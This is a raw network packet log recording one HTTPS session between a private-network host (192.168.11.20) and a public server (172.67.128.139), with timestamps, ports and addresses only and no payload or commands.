Dec 11, 2024 12:14:47.243135929 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.243135929 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.243155956 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.243187904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.243187904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.243299961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.245038986 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.245060921 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.245210886 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.245210886 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.245254993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.245263100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.245307922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.245307922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.245918036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.246742010 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.246762037 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.246951103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.247018099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.247062922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.247071028 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.247112036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.247262955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.247446060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.248305082 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.248662949 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.248684883 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.248809099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.248853922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.248955965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.248970985 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.249130011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.251038074 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.251059055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.251204967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.251204967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.251249075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.251249075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.251262903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.251297951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.251470089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.251497984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.253004074 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.253025055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.253153086 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.253153086 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.253199100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.253211021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.253251076 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.253251076 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.253350019 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.255060911 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.255083084 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.255230904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.255230904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.255326986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.255335093 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.255377054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.255377054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.255580902 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.257034063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.257145882 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.257262945 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.257262945 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.257282972 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.257313013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.257407904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.257407904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.259180069 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.259202003 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.259330034 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.259330034 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.259373903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.259386063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.259471893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.259576082 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.261362076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.261383057 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.261557102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.261573076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.261605024 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.261795998 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.263535023 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.263557911 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.263720989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.263720989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.263772964 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.263772964 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.263783932 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.263818026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.263915062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.265789986 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.265811920 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.265933037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.265981913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.265981913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.265990973 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.266028881 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.266127110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.267776012 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.267797947 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.267976046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.268125057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.268134117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.268300056 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.269320965 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.269364119 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.269500017 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.269500017 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.269521952 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.269547939 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.269645929 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.269743919 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.270180941 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.271445990 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.271476984 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.271601915 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.271601915 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.271698952 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.271698952 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.271714926 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.271795988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.271843910 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.273969889 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.274007082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.274122000 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.274122000 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.274168015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.274168015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.274180889 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.274219990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.274317980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.275990009 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.276020050 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.276211977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.276211977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.276230097 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.276263952 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.276385069 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.277832985 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.277869940 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.277986050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.277986050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.278135061 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.278148890 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.278351068 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.280201912 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.280231953 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.280354977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.280427933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.280441999 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.280473948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.280623913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.282169104 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.282197952 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.282402992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.282402992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.282497883 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.282505989 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.282596111 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.282596111 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.282699108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.284059048 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.284090042 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.284239054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.284239054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.284259081 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.284287930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.284334898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.284432888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.286031008 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.286061049 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.286192894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.286297083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.286297083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.286310911 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.286432981 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.288511992 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.288542986 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.288667917 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.288773060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.288783073 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.288928032 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.290332079 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.290353060 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.290539026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.290539026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.290554047 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.290586948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.290695906 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.292195082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.292217016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.292397976 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.292407036 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.292498112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.292498112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.294156075 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.294177055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.294301033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.294349909 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.294356108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.294428110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.294574976 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.295975924 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.296081066 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.296117067 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.296164036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.296164036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.296171904 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.296262026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.296363115 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.297559023 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.297588110 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.297797918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.297909021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.297909021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.297915936 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.298007011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.298079014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.298253059 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.298402071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.354043007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.463592052 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.463613033 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.463756084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.463756084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.463769913 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.463800907 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.463800907 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.463917017 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.465552092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.465568066 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.465698957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.465698957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.465749979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.465749979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.465754032 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.465800047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.465944052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.467386007 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.467406034 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.467556953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.467602968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.467607021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.467654943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.467760086 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.469290018 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.469312906 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.469475031 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.469480991 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.469521046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.469592094 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.469640970 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.471189976 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.471205950 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.471430063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.471430063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.471442938 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.471476078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.471677065 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.473550081 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.473570108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.473700047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.473766088 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.473768950 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.473812103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.473908901 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.475415945 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.475450993 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.475600004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.475671053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.475671053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.475682974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.475836992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.477344990 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.477375984 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.477663994 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.477670908 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.477785110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.479370117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.479413033 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.479563951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.479587078 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.479615927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.479615927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.479763031 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.480554104 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.481276035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.481306076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.481472969 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.481472969 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.481486082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.481595039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.481647968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.483345032 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.483386993 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.483566046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.483630896 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.483679056 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.483685970 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.483786106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.483786106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.484025002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.485064030 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.485493898 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.485533953 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.485687971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.485687971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.485701084 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.485737085 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.485833883 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.487390041 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.487420082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.487546921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.487546921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.487592936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.487592936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.487600088 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.487701893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.487747908 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.489078045 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.489115000 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.489367962 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.489367962 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.489392042 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.489552975 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.491671085 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.491714954 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.491843939 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.491904974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.491919994 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.491938114 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.492031097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.493273973 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.493309021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.493451118 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.493451118 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.493498087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.493505001 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.493549109 CET	49776	443	192.168.11.20	172.67.128.139
